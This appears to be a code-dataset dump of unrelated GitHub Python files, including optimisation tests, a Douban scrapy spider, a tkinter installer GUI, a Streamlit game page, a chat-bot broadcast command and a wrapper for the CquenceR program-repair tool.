\"SpankyPants\"\nbasedir = os.path.abspath(os.path.dirname(__file__))\nWHOOSH_BASE = os.path.join(basedir, 'search.db')\n","repo_name":"scottharman/Udacity-FSND-VM-Vagrant","sub_path":"vagrant/CRUD/app/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":420,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"78"} +{"seq_id":"15783520494","text":"import Programs.NewtonRaphson\nimport Tasks.TaskFunctions\nfrom Programs.Helpers.Matrix import Matrix\n\nimport pytest\nfrom copy import copy\n \ndef test_NewtonRaphson_CreateColumnMatrix():\n list = [3, 5]\n result = Matrix([[3],\n [5],\n ])\n assert Programs.NewtonRaphson._CreateColumnMatrix(list) == result\n \ndef test_NewtonRaphson_CalculateGradientAtPoint():\n dF = [Tasks.TaskFunctions.df2x0, Tasks.TaskFunctions.df2x1]\n x = Programs.NewtonRaphson._CreateColumnMatrix([3, 5])\n result = Matrix([[-2],\n [24],\n ])\n assert Programs.NewtonRaphson._CalculateGradientAtPoint(dF, x) == result\n \ndef test_NewtonRaphson_CalculateVectorNorm():\n gradientMatrix = Matrix([[3],\n [4],\n ])\n assert Programs.NewtonRaphson._CalculateVectorNorm(gradientMatrix) == 5\n \ndef test_NewtonRaphson_CalculateInverseHessianAtPoint():\n ddF = [[Tasks.TaskFunctions.ddf2x0x0, Tasks.TaskFunctions.ddf2x0x1],\n [Tasks.TaskFunctions.ddf2x0x1, Tasks.TaskFunctions.ddf2x1x1],\n ]\n x = Programs.NewtonRaphson._CreateColumnMatrix([3, 5])\n result = Matrix([[0.5, 0 ],\n [0, 0.125],\n ])\n assert Programs.NewtonRaphson._CalculateInverseHessianAtPoint(ddF, x) == result\n \ndef test_NewtonRaphson_CalculateMoveDirection():\n inverseHessian = Matrix([[0.5, 0],\n [0, 0.125],\n ])\n gradient = Matrix([[6],\n [0],\n ])\n useGolden = True\n result = Programs.NewtonRaphson._CalculateMoveDirection(inverseHessian * gradient, useGolden)\n result = result._GetMatrixColumn(1)\n assert (0.9 < result[0]) and (result[0] < 1.1) and (-0.1 < result[1]) and (result[1] < 0.1)\n \ndef test_NewtonRaphsonGolden():\n startingPoint = [0, 0]\n GoalFunction = Tasks.TaskFunctions.f2\n FirstPartialDerivativeFunctions = [Tasks.TaskFunctions.df2x0, Tasks.TaskFunctions.df2x1]\n HessianPartialDerivativeFunctions = [[Tasks.TaskFunctions.ddf2x0x0, Tasks.TaskFunctions.ddf2x0x1],\n [Tasks.TaskFunctions.ddf2x0x1, Tasks.TaskFunctions.ddf2x1x1],\n ]\n result = Programs.NewtonRaphson.NewtonRaphson(startingPoint, GoalFunction, FirstPartialDerivativeFunctions, HessianPartialDerivativeFunctions, useGolden=True)\n assert (3.9 < result[0]) and (result[0] < 4.1) and (1.9 < result[1]) and (result[1] < 2.1)\n \ndef test_NewtonRaphsonNoGolden():\n startingPoint = [0, 0]\n GoalFunction = Tasks.TaskFunctions.f2\n FirstPartialDerivativeFunctions = [Tasks.TaskFunctions.df2x0, Tasks.TaskFunctions.df2x1]\n HessianPartialDerivativeFunctions = [[Tasks.TaskFunctions.ddf2x0x0, Tasks.TaskFunctions.ddf2x0x1],\n [Tasks.TaskFunctions.ddf2x0x1, Tasks.TaskFunctions.ddf2x1x1],\n ]\n result = Programs.NewtonRaphson.NewtonRaphson(startingPoint, GoalFunction, FirstPartialDerivativeFunctions, HessianPartialDerivativeFunctions, useGolden=False)\n assert (3.9 < result[0]) and (result[0] < 4.1) and (1.9 < result[1]) and (result[1] < 2.1)","repo_name":"MislavJaksic/College-Labs","sub_path":"APR/Labs/Lab_3/Programs/Tests/test_NewtonRaphson.py","file_name":"test_NewtonRaphson.py","file_ext":"py","file_size_in_byte":3164,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"32785224394","text":"from scrapy_plus.core.spider import Spider\nfrom scrapy_plus.http.request import Request\n\n\nclass DoubanSpider(Spider):\n\n # start_urls = []\n name = 'douban'\n\n def start_request(self):\n base_url = 'http://movie.douban.com/top250?start='\n for page in range(0, 50, 25):\n url = base_url + str(page)\n yield Request(url, execute_spide = self.name)\n\n def parse(self, response):\n # title_list = []\n # 获取每页所有的li标签、每页25个\n for each_li in response.xpath('//ol[@class=\"grid_view\"]/li')[:3]:\n items = {}\n items['title'] = each_li.xpath('.//span[@class=\"title\"]/text()')[0]\n # title_list.append(items)\n items['url'] = each_li.xpath('.//div[@class=\"hd\"]/a/@href')[0]\n yield Request(url = items['url'], callback = 'parse_article', meta = {'items' : items}, execute_spide = self.name)\n # yield title_list\n\n\n def parse_article(self, response):\n items = response.meta['items']\n # items['content'] = response.xpath('//div[@class=\"indent\"]//text()')[0]\n print(\"详情内容为 : {}\".format(items))","repo_name":"winkboyleung/Spider_Flame","sub_path":"scrapy_plus/project_dir/spiders/douban_spider.py","file_name":"douban_spider.py","file_ext":"py","file_size_in_byte":1154,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"1838748792","text":"from sklearn.feature_extraction.text import CountVectorizer\nfrom sentence_transformers import SentenceTransformer\nfrom sklearn.metrics.pairwise import cosine_similarity\nimport gensim\nimport locale\nimport re\n\ndef getpreferredencoding(do_setlocale=True):\n return \"UTF-8\"\n\ndef cap2hashtag(cap_list):\n\n locale.getpreferredencoding = getpreferredencoding\n\n core = []\n relative = []\n impression = []\n\n cap_list=sum(cap_list, [])\n\n docs = \". \".join(cap_list)\n num_of_inputs = len(cap_list)\n num_of_cores = 5 if num_of_inputs < 3 else num_of_inputs * 2\n num_of_relative_per_image = 2\n\n # keword extraction setting\n n_gram_range = (1, 1)\n stop_words = \"english\"\n count = CountVectorizer(ngram_range=n_gram_range,\n stop_words=stop_words).fit([docs])\n candidates = count.get_feature_names_out() # list\n\n # keyword extraction model\n ke_model = SentenceTransformer('distilbert-base-nli-mean-tokens')\n doc_embedding = ke_model.encode([docs])\n candidate_embeddings = ke_model.encode(candidates)\n\n distances = cosine_similarity(doc_embedding, candidate_embeddings)\n keywords = [candidates[index]\n for index in distances.argsort()[0][-num_of_cores:]] # list\n\n # w2v model\n #w2v_model = gensim.models.Word2Vec.load('1minwords')\n\n # postprocessing for core, relatives\n for kw in keywords:\n kw = re.sub('[^a-zA-Z]+', ' ', kw)\n\n if kw == 'background':\n continue\n\n try:\n # relatives = w2v_model.wv.most_similar('Ġ' + kw.split(' ')[0])\n # top_3 = sorted(relatives, key=lambda x: x[1], reverse=True)[:num_of_relative_per_image]\n # relative.extend([re.sub('Ġ', '', x) for x, y in top_3])\n core.append(kw)\n\n except:\n print(kw)\n\n core = ['#{}'.format(x) for x in core]\n relative = ['#{}'.format(x) for x in relative]\n impression = ['#{}'.format(x) for x in impression]\n\n return core, relative, impression\n\n\n# if __name__ == \"__main__\":\n# cap_list = ['cheetah running in the grass',\n# 'an elephant walking along a dirt road',\n# 'a giraffe standing in a grassy field with a mountain in the background',\n# 'the whole world tastes like daffodil daydream.',\n# 'on the crosstown expressway this morning.',\n# 'You ate breakfast, yes? Breakfast']\n\n# cap2hashtag(cap_list)\n","repo_name":"rachel618/deepdaiv_captioning","sub_path":"cap_to_hashtag_bert.py","file_name":"cap_to_hashtag_bert.py","file_ext":"py","file_size_in_byte":2452,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"16247526659","text":"import tkinter as tk\nfrom tkinter import filedialog\nfrom PIL import Image, ImageTk\nimport functions as f\nimport programs\n\n\ndef change_path_bttn_click():\n folder_path = filedialog.askdirectory()\n if folder_path:\n programs.installer_path = folder_path\n download_txtbx_text.set(programs.installer_path)\n\n\ndef on_dowlnoad_txtbx_scrollbar_move(*args):\n download_txtbx.xview(*args)\n\n\n# Main app window\nroot = tk.Tk()\nroot.title(\"Installer\")\nroot.resizable(False, False)\n\n\n# region Labels\nchoose_label = tk.Label(root, text=\"Please choose\")\nchoose_label.grid(row=0, column=0, columnspan=4)\n\nantiviruses_label = tk.Label(root, text=\"Antiviruses:\")\nantiviruses_label.grid(row=1, column=0, columnspan=2, sticky=\"w\", pady=(5, 0))\n\nbrowser_label = tk.Label(root, text=\"Browsers:\")\nbrowser_label.grid(row=3, column=0, columnspan=2, sticky=\"w\", pady=(5, 0))\n\nutilities_label = tk.Label(root, text=\"Utilities:\")\nutilities_label.grid(row=5, column=0, columnspan=2, sticky=\"w\", pady=(5, 0))\n\nmeeting_label = tk.Label(root, text=\"Meeting:\")\nmeeting_label.grid(row=7, column=0, columnspan=2, sticky=\"w\", pady=(5, 0))\n\ndeveloper_label = tk.Label(root, text=\"Developer tools:\")\ndeveloper_label.grid(row=9, column=0, columnspan=2, sticky=\"w\", pady=(5, 0))\n\nother_label = tk.Label(root, text=\"Other:\")\nother_label.grid(row=13, column=0, columnspan=2, sticky=\"w\", pady=(5, 0))\n\ndownload_path_label = tk.Label(root, text=\"Folder, where installers will be downloaded:\")\ndownload_path_label.grid(row=17, column=0, columnspan=3, sticky=\"w\", pady=(20, 0))\n# endregion\n\n\n# region Avast\n# Load image\navast_image = Image.open(\".\\\\Resources\\\\avast.png\")\navast_image = avast_image.resize((20, 20))\navast_photo = ImageTk.PhotoImage(avast_image)\n\n# Display image\navast_image_label = tk.Label(root, image=avast_photo)\navast_image_label.grid(row=2, column=0)\n\n# Checkbox\navast_checkbox = tk.Checkbutton(root, text=\"Avast\")\navast_checkbox.grid(row=2, column=1, sticky=\"w\")\navast_checkbox.bind('<Button-1>', lambda event: f.chckbx_changed(\"Avast\"))\n# endregion\n\n\n# region Chrome\n# Load image\nchrome_image = Image.open(\".\\\\Resources\\\\chrome.png\")\nchrome_image = chrome_image.resize((20, 20))\nchrome_photo = ImageTk.PhotoImage(chrome_image)\n\n# Display image\nchrome_image_label = tk.Label(root, image=chrome_photo)\nchrome_image_label.grid(row=4, column=0)\n\n# Checkbox\nchrome_checkbox = tk.Checkbutton(root, text=\"Google Chrome\")\nchrome_checkbox.grid(row=4, column=1, sticky=\"w\")\nchrome_checkbox.bind('<Button-1>', lambda event: f.chckbx_changed(\"Google Chrome\"))\n# endregion\n\n\n# region Opera\n# Load image\nopera_image = Image.open(\".\\\\Resources\\\\opera.png\")\nopera_image = opera_image.resize((20, 20))\nopera_photo = ImageTk.PhotoImage(opera_image)\n\n# Display image\nopera_image_label = tk.Label(root, image=opera_photo)\nopera_image_label.grid(row=4, column=2)\n\n# Checkbox\nopera_checkbox = tk.Checkbutton(root, text=\"Opera GX\")\nopera_checkbox.grid(row=4, column=3, sticky=\"w\")\nopera_checkbox.bind('<Button-1>', lambda event: f.chckbx_changed(\"Opera GX\"))\n# endregion\n\n\n# region Iobit Uninstaller\n# Load image\niobitu_image = Image.open(\".\\\\Resources\\\\iobit-uninstaller.png\")\niobitu_image = iobitu_image.resize((20, 20))\niobitu_photo = ImageTk.PhotoImage(iobitu_image)\n\n# Display image\niobitu_image_label = tk.Label(root, image=iobitu_photo)\niobitu_image_label.grid(row=6, column=0)\n\n# Checkbox\niobitu_checkbox = tk.Checkbutton(root, text=\"Iobit Uninstaller\")\niobitu_checkbox.grid(row=6, column=1, sticky=\"w\")\niobitu_checkbox.bind('<Button-1>', lambda event: f.chckbx_changed(\"Iobit Uninstaller\"))\n# endregion\n\n\n# region Advanced Systemcare\n# Load image\nasystemcare_image = Image.open(\".\\\\Resources\\\\advenced-systemcare.png\")\nasystemcare_image = asystemcare_image.resize((20, 20))\nasystemcare_photo = ImageTk.PhotoImage(asystemcare_image)\n\n# Display image\nasystemcare_image_label = tk.Label(root, image=asystemcare_photo)\nasystemcare_image_label.grid(row=6, column=2)\n\n# Checkbox\nasystemcare_checkbox = tk.Checkbutton(root, text=\"Advanced Systemcare\")\nasystemcare_checkbox.grid(row=6, column=3, sticky=\"w\")\nasystemcare_checkbox.bind('<Button-1>', lambda event: f.chckbx_changed(\"Advanced Systemcare\"))\n# endregion\n\n\n# region Teams\nteams_image = Image.open(\".\\\\Resources\\\\teams.png\")\nteams_image = teams_image.resize((20, 20))\nteams_photo = ImageTk.PhotoImage(teams_image)\n\n# Display image\nteams_image_label = tk.Label(root, image=teams_photo)\nteams_image_label.grid(row=8, column=0)\n\n# Checkbox\nteams_checkbox = tk.Checkbutton(root, text=\"Teams\")\nteams_checkbox.grid(row=8, column=1, sticky=\"w\")\nteams_checkbox.bind('<Button-1>', lambda event: f.chckbx_changed(\"Teams\"))\n# endregion\n\n\n# region Discord\ndc_image = Image.open(\".\\\\Resources\\\\discord.png\")\ndc_image = dc_image.resize((20, 20))\ndc_photo = ImageTk.PhotoImage(dc_image)\n\n# Display image\ndc_image_label = tk.Label(root, image=dc_photo)\ndc_image_label.grid(row=8, column=2)\n\n# Checkbox\ndc_checkbox = tk.Checkbutton(root, text=\"Discord\")\ndc_checkbox.grid(row=8, column=3, sticky=\"w\")\ndc_checkbox.bind('<Button-1>', lambda event: f.chckbx_changed(\"Discord\"))\n# endregion\n\n\n# region Python\npython_image = Image.open(\".\\\\Resources\\\\python.png\")\npython_image = python_image.resize((20, 20))\npython_photo = ImageTk.PhotoImage(python_image)\n\n# Display image\npython_image_label = tk.Label(root, image=python_photo)\npython_image_label.grid(row=10, column=0)\n\n# Checkbox\npython_checkbox = tk.Checkbutton(root, text=\"Python\")\npython_checkbox.grid(row=10, column=1, sticky=\"w\")\npython_checkbox.bind('<Button-1>', lambda event: f.chckbx_changed(\"Python\"))\n# endregion\n\n\n# region DotNet\ndotnet_image = Image.open(\".\\\\Resources\\\\dotnet.png\")\ndotnet_image = dotnet_image.resize((20, 20))\ndotnet_photo = ImageTk.PhotoImage(dotnet_image)\n\n# Display image\ndotnet_image_label = tk.Label(root, image=dotnet_photo)\ndotnet_image_label.grid(row=10, column=2)\n\n# Checkbox\ndotnet_checkbox = tk.Checkbutton(root, text=\".Net\")\ndotnet_checkbox.grid(row=10, column=3, sticky=\"w\")\ndotnet_checkbox.bind('<Button-1>', lambda event: f.chckbx_changed(\"DotNet\"))\n# endregion\n\n\n# region Java\njava_image = Image.open(\".\\\\Resources\\\\java.png\")\njava_image = java_image.resize((20, 20))\njava_photo = ImageTk.PhotoImage(java_image)\n\n# Display image\njava_image_label = tk.Label(root, image=java_photo)\njava_image_label.grid(row=11, column=0)\n\n# Checkbox\njava_checkbox = tk.Checkbutton(root, text=\"Java\")\njava_checkbox.grid(row=11, column=1, sticky=\"w\")\njava_checkbox.bind('<Button-1>', lambda event: f.chckbx_changed(\"Java\"))\n# endregion\n\n\n# region Notepad++\nnotepad_image = Image.open(\".\\\\Resources\\\\notepad.png\")\nnotepad_image = notepad_image.resize((20, 20))\nnotepad_photo = ImageTk.PhotoImage(notepad_image)\n\n# Display image\nnotepad_image_label = tk.Label(root, image=notepad_photo)\nnotepad_image_label.grid(row=11, column=2)\n\n# Checkbox\nnotepad_checkbox = tk.Checkbutton(root, text=\"Notepad++\")\nnotepad_checkbox.grid(row=11, column=3, sticky=\"w\")\nnotepad_checkbox.bind('<Button-1>', lambda event: f.chckbx_changed(\"Notepad++\"))\n# endregion\n\n\n# region VS Code\nvscode_image = Image.open(\".\\\\Resources\\\\vscode.png\")\nvscode_image = vscode_image.resize((20, 20))\nvscode_photo = ImageTk.PhotoImage(vscode_image)\n\n# Display image\nvscode_image_label = tk.Label(root, image=vscode_photo)\nvscode_image_label.grid(row=12, column=0)\n\n# Checkbox\nvscode_checkbox = tk.Checkbutton(root, text=\"VS Code\")\nvscode_checkbox.grid(row=12, column=1, sticky=\"w\")\nnotepad_checkbox.bind('<Button-1>', lambda event: f.chckbx_changed(\"VS Code\"))\n# endregion\n\n\n# region WinRar\nwinrar_image = Image.open(\".\\\\Resources\\\\winrar.png\")\nwinrar_image = winrar_image.resize((20, 20))\nwinrar_photo = ImageTk.PhotoImage(winrar_image)\n\n# Display image\nwinrar_image_label = tk.Label(root, image=winrar_photo)\nwinrar_image_label.grid(row=14, column=0)\n\n# Checkbox\nwinrar_checkbox = tk.Checkbutton(root, text=\"WinRar\")\nwinrar_checkbox.grid(row=14, column=1, sticky=\"w\")\nwinrar_checkbox.bind('<Button-1>', lambda event: f.chckbx_changed(\"WinRar\"))\n# endregion\n\n\n# region Daemon Tools\ndaemon_image = Image.open(\".\\\\Resources\\\\daemon-tools.png\")\ndaemon_image = daemon_image.resize((20, 20))\ndaemon_photo = ImageTk.PhotoImage(daemon_image)\n\n# Display image\ndaemon_image_label = tk.Label(root, image=daemon_photo)\ndaemon_image_label.grid(row=14, column=2)\n\n# Checkbox\ndaemon_checkbox = tk.Checkbutton(root, text=\"Daemon ToolsXXXX\")\ndaemon_checkbox.grid(row=14, column=3, sticky=\"w\")\ndaemon_checkbox.bind('<Button-1>', lambda event: f.chckbx_changed(\"Daemon Tools\"))\n# endregion\n\n\n# region qBittorent\nqbit_image = Image.open(\".\\\\Resources\\\\qbittorrent.png\")\nqbit_image = qbit_image.resize((20, 20))\nqbit_photo = ImageTk.PhotoImage(qbit_image)\n\n# Display image\nqbit_image_label = tk.Label(root, image=qbit_photo)\nqbit_image_label.grid(row=15, column=0)\n\n# Checkbox\nqbit_checkbox = tk.Checkbutton(root, text=\"qBittorrtentXXXX\")\nqbit_checkbox.grid(row=15, column=1, sticky=\"w\")\nqbit_checkbox.bind('<Button-1>', lambda event: f.chckbx_changed(\"qBittorrent\"))\n# endregion\n\n\n# region Steam\nsteam_image = Image.open(\".\\\\Resources\\\\steam.png\")\nsteam_image = steam_image.resize((20, 20))\nsteam_photo = ImageTk.PhotoImage(steam_image)\n\n# Display image\nsteam_image_label = tk.Label(root, image=steam_photo)\nsteam_image_label.grid(row=15, column=2)\n\n# Checkbox\nsteam_checkbox = tk.Checkbutton(root, text=\"Steam\")\nsteam_checkbox.grid(row=15, column=3, sticky=\"w\")\nsteam_checkbox.bind('<Button-1>', lambda event: f.chckbx_changed(\"Steam\"))\n# endregion\n\n\n# region TeamViewer\nteamviewer_image = Image.open(\".\\\\Resources\\\\teamviewer.png\")\nteamviewer_image = teamviewer_image.resize((20, 20))\nteamviewer_photo = ImageTk.PhotoImage(teamviewer_image)\n\n# Display image\nteamviewer_image_label = tk.Label(root, image=teamviewer_photo)\nteamviewer_image_label.grid(row=16, column=0)\n\n# Checkbox\nteamviewer_checkbox = tk.Checkbutton(root, text=\"TeamViewer\")\nteamviewer_checkbox.grid(row=16, column=1, sticky=\"w\")\nteamviewer_checkbox.bind('<Button-1>', lambda event: f.chckbx_changed(\"TeamViewer\"))\n# endregion\n\n\n# region Textbox\ndownload_txtbx_scrollbar = tk.Scrollbar(root, orient=\"horizontal\")\ndownload_txtbx_scrollbar.grid(row=19, column=0, columnspan=4, sticky=\"ew\")\ndownload_txtbx_scrollbar.config(command=on_dowlnoad_txtbx_scrollbar_move)\n\ndownload_txtbx_text = tk.StringVar()\ndownload_txtbx_text.set(programs.installer_path)\ndownload_txtbx = tk.Entry(root, textvariable=download_txtbx_text,\n state=\"readonly\", xscrollcommand=download_txtbx_scrollbar.set)\ndownload_txtbx.grid(row=18, column=0, columnspan=4, sticky=\"ew\")\n# endregion\n\n\n# region Buttons\nchange_path_bttn = tk.Button(root, text=\"Change download path\", command=change_path_bttn_click)\nchange_path_bttn.grid(row=20, column=0, columnspan=4, sticky=\"ew\")\n\n# Download button\ndownload_bttn = tk.Button(root, text=\"Download\", width=25, command=f.download_bttn_click)\ndownload_bttn.grid(row=21, column=0, columnspan=2, sticky=\"ew\", pady=(20, 0))\n\n# Install button\ninstall_bttn = tk.Button(root, text=\"Install\", width=25, command=f.install_bttn_click)\ninstall_bttn.grid(row=21, column=2, columnspan=2, sticky=\"ew\", pady=(20, 0))\n\n# Download & Install button\nauto_bttn = tk.Button(root, text=\"Download & Install\", command=f.auto_bttn_click)\nauto_bttn.grid(row=22, column=0, columnspan=4, sticky=\"ew\")\n# endregion\n\n\n# Main\nif __name__ == '__main__':\n root.mainloop()\n","repo_name":"raktam99/InstallerScript","sub_path":"main_GUI.py","file_name":"main_GUI.py","file_ext":"py","file_size_in_byte":11373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"70604761213","text":"\"\"\"\nAuthor: AkiraXie\nDate: 2021-02-10 00:22:20\nLastEditors: AkiraXie\nLastEditTime: 2021-04-10 02:20:13\nDescription: \nGithub: http://github.com/AkiraXie/\n\"\"\"\nfrom loguru import logger\nfrom hoshino.util import sucmd\nfrom hoshino import Bot, Event\nfrom asyncio import sleep\n\nbc = sucmd(\"bc\", aliases={\"广播\", \"broadcast\"})\n\n\n@bc.handle()\nasync def _(bot: Bot, event: Event):\n msg = event.get_message()\n gids = list(gdic[\"group_id\"] for gdic in await bot.get_group_list())\n count = 0\n for gid in gids:\n await sleep(0.5)\n try:\n await bot.send_group_msg(message=msg, group_id=gid)\n count += 1\n logger.info(f\"群{gid} 投递成功!\")\n except Exception as e:\n logger.exception(e)\n logger.error(type(e))\n await bot.send(event, f\"群{gid} 投递失败:\\n {type(e)} {e}\")\n await bc.finish(f\"广播完成,投递成功{count}个群\")\n","repo_name":"AkiraXie/hoshino.nb2","sub_path":"hoshino/base/broadcast.py","file_name":"broadcast.py","file_ext":"py","file_size_in_byte":929,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"78"} +{"seq_id":"4960031246","text":"import streamlit as st\r\nimport regex as re\r\nimport time\r\nimport random\r\nfrom PIL import Image\r\nfrom streamlit_extras.switch_page_button import switch_page\r\nimport pandas as pd\r\nfrom streamlit_extras.stoggle import stoggle\r\n\r\n# Cabecera\r\nst.title('')\r\nst.markdown('')\r\nst.title('')\r\nst.markdown('')\r\nst.title('')\r\nst.markdown('')\r\nst.markdown('')\r\nst.markdown('')\r\n\r\nst.markdown(\"<h3 style='text-align: center; color: white;'>Welcome to the Codes City Police Service.\", unsafe_allow_html=True)\r\n\r\n#Fondo\r\n\r\ndef add_bg_from_url(): st.markdown( f\"\"\" <style> .stApp {{ background-image: url(\"https://github.com/jquintanac/Pythonscape/blob/main/imgs/background2.jpg?raw=true\"); background-attachment: fixed; background-size: cover }} </style> \"\"\", unsafe_allow_html=True )\r\n\r\nadd_bg_from_url() \r\n\r\n#Sidebar: Ocultar nombres sidebar y login\r\n\r\nno_sidebar_style = \"\"\" <style> div[data-testid=\"stSidebarNav\"] {display: none;} </style>\"\"\"\r\nst.markdown(no_sidebar_style, unsafe_allow_html=True)\r\n\r\nst.sidebar.image(\"https://github.com/jquintanac/Pythonscape/blob/main/imgs/logo.png?raw=true\", use_column_width=True)\r\nst.sidebar.markdown('Welcome to the Codes City Police Service')\r\nwith st.sidebar:\r\n st.title('Hints')\r\n stoggle('Do you need a hint?', \"Import the DataFrame to check the last e-mails by date.\")\r\n stoggle('Do you need an extra hint?', \"Sarah Q. Lake sent you an e-mail. Go to check it.\")\r\n\r\n\r\n\r\n\r\n# Titulo\r\n\r\n\r\nst.title('')\r\nst.markdown(\"<h4 style='text-align: center; color: white;'>Mail\", unsafe_allow_html=True)\r\n\r\n\r\n# Botones para volver\r\n\r\n\r\ncol1, col3, col2 = st.columns([1,1,1])\r\n\r\nwith col1:\r\n boton=st.button('Back to James desktop')\r\n if boton:\r\n switch_page('desktopJ')\r\n\r\n\r\n\r\nwith col2:\r\n boton=st.button('Back to Scarlett desktop')\r\n if boton:\r\n switch_page('desktopS')\r\n\r\n\r\n# Contenido\r\n\r\nmails= pd.read_excel('/app/pythonscape/docs/mails.xlsx')\r\n\r\n\r\n\r\nst.code(mails, language='python')\r\n\r\ncol1, col3, col2 = st.columns([1,1,1])\r\n\r\nwith col3:\r\n\r\n with open(\"/app/pythonscape/docs/mails.xlsx\", \"rb\") as file:\r\n btn = st.download_button(\r\n label='Mails xlsx',\r\n data=file,\r\n file_name=\"mails.xlsx\",\r\n )\r\n\r\n\r\n\r\nst.table(data=mails)\r\n\r\n\r\n\r\n","repo_name":"jquintanac/Pythonscape","sub_path":"Main/pages/Mail.py","file_name":"Mail.py","file_ext":"py","file_size_in_byte":2393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"4708965344","text":"def parse_ukd_data():\n import requests\n from bs4 import BeautifulSoup as bs\n\n data = requests.get(url='https://ukd.edu.ua')\n\n soup = bs(data.content, 'html.parser')\n divs = soup.div\n block = divs.find(class_='col-lg-9 col-md-12')\n ulki = block.ul\n ashki = ulki.find_all('a')\n for spec in ashki:\n if spec.text == 'Спеціальності':\n continue\n print(spec.text)\n\n\nif __name__ == '__main__':\n parse_ukd_data()\n","repo_name":"NasadykVlad/PPZ-Practice-1","sub_path":"lab4.py","file_name":"lab4.py","file_ext":"py","file_size_in_byte":472,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"6354067186","text":"import json\nimport re\nfrom pathlib import Path\n\nfrom core.input_parser import add_repair_tool\nfrom core.repair_tool import RepairTool\nfrom core.runner.repair_task import RepairTask\nfrom core.utils.data_structs import Patch\n\n\nclass CquenceR(RepairTool):\n \"\"\"CquenceR\"\"\"\n\n def __init__(self, **kwargs):\n super(CquenceR, self).__init__(name=\"CquenceR\", remove_patch=True, **kwargs)\n\n def repair(self, repair_task: RepairTask):\n \"\"\"\"\n :type repair_task: RepairTask\n \"\"\"\n # checkouts the challenge binary to a temporary path\n # self.benchmark.compile(self.challenge, preprocess=True)\n\n try:\n repair_cmd = self._get_repair_cmd()\n\n if self.ssh_host:\n repair_cmd = self.write_run_script(repair_cmd)\n\n self.begin()\n super().__call__(cmd_str=repair_cmd, cmd_cwd=str(self.challenge.working_dir), ssh=True)\n self.end()\n\n for file_path in self.challenge.manifest():\n self._get_patches(file_path)\n\n return self.output\n\n finally:\n repair_task.status = self.repair_status()\n # self.dispose(challenge.working_dir)\n\n def _get_patches(self, target_file: Path):\n patch = Patch(target_file=str(target_file), edits=[])\n\n repaired_file = self.challenge.working_dir / Path(\"repair\") / target_file\n baseline_file = self.challenge.source / target_file\n edits_path = self.challenge.working_dir / Path('patches')\n\n if repaired_file.exists():\n diff = self.diff(path=baseline_file, path_compare=repaired_file)\n patch.fix = diff\n\n if edits_path.exists():\n for f in edits_path.iterdir():\n if f.is_dir() and re.match(r\"^\\d{6}$\", str(f.name)):\n edit_file = f / target_file\n if not edit_file.is_dir() and edit_file.stat().st_size > 0:\n diff = self.diff(path=baseline_file, path_compare=edit_file)\n patch.edits.append(diff)\n\n self.results.add_patch(patch)\n\n def write_manifest(self):\n manifest_file = self.challenge.working_dir / Path('hunk_manifest')\n\n with self.challenge.vuln.open(mode=\"r\") as vf, manifest_file.open(mode=\"w\") as mf:\n for file, hunk in json.load(vf).items():\n hunks = \"\"\n for start, lines in hunk.items():\n size = len(lines)\n hunks += f\"{start},{int(start) + (size if size > 1 else 0)};\"\n mf.write(f\"{file}: {hunks}\\n\")\n\n return manifest_file\n\n def write_compile_script(self, compile_cmd: str) -> Path:\n compile_script_file = self.challenge.working_dir / \"ceq_compile.sh\"\n\n with compile_script_file.open(mode=\"w\") as csf:\n csf.write(f\"#!/bin/bash\\n{compile_cmd} $@\")\n compile_script_file.chmod(0o777)\n\n return compile_script_file\n\n def write_test_script(self) -> Path:\n test_script_file: Path = self.challenge.working_dir / \"ceq_test.sh\"\n log_file = self.challenge.working_dir / \"tlog.txt\"\n\n with test_script_file.open(mode=\"w\") as tsf:\n test_cmd = self.benchmark.test(self.challenge, tests=[\"$1\"], exit_fail=True, log_file=log_file)\n tsf.write(f\"#!/bin/bash\\n{test_cmd}\")\n test_script_file.chmod(0o777)\n return test_script_file\n\n def _get_repair_cmd(self):\n arguments = self.tool_configs[\"arguments\"]\n instrumented_files = [str(file) for file in self.challenge.manifest(prefix=self.challenge.source)]\n cmp_cmd, cmp_args = self.benchmark.compile(self.challenge, fix_files=[\"__SOURCE_NAME__\"], separate=True,\n instrumented_files=instrumented_files, sanity_check=self.sanity_check)\n arguments[\"--compile_script\"] = f\"\\\"{str(self.write_compile_script(cmp_cmd))}\\\"\"\n arguments[\"--compile_args\"] = f\"\\\"{cmp_args}\\\"\"\n arguments[\"--test_script\"] = f\"\\\"{str(self.write_test_script())} __TEST_NAME__\\\"\"\n arguments[\"--working_dir\"] = str(self.challenge.working_dir)\n arguments[\"--prefix\"] = str(self.challenge.source)\n arguments[\"--seed\"] = str(self.seed)\n arguments[\"--verbose\"] = ''\n arguments[\"--manifest_path\"] = str(self.write_manifest())\n arguments[\"--pos_tests\"] = str(self.challenge.pos_tests)\n arguments[\"--neg_tests\"] = str(self.challenge.neg_tests)\n arguments[\"-v\"] = \"\"\n\n repair_cmd = str(self.program)\n\n for opt, arg in arguments.items():\n if arg != \"\":\n repair_cmd += f\" {opt} {arg}\"\n else:\n repair_cmd += f\" {opt}\"\n\n return repair_cmd\n\n\ndef cquencer_args(input_parser):\n input_parser.add_argument('--version', action='version', version='1')\n\n\nparser = add_repair_tool(\"CquenceR\", CquenceR, 'Repair the challenge with CquenceR')\ncquencer_args(parser)\n","repo_name":"SecureThemAll/SecureThemAll","sub_path":"scripts/core/repair_tools/cquencer.py","file_name":"cquencer.py","file_ext":"py","file_size_in_byte":4964,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"78"} +{"seq_id":"39738688720","text":"import pygame\r\nimport sys\r\n\r\nclass Leveload():\r\n def __init__(self, filepath):\r\n self.screen = pygame.display.get_surface()\r\n self.blocks = []\r\n self.blocks = pygame.sprite.Group()\r\n self.blockimage = pygame.image.load(\"Block.png\")\r\n self.LoadLevelData(filepath)\r\n self.DrawLevel()\r\n self.bg = pygame.image.load(\"Harder background.jpg\").convert()\r\n 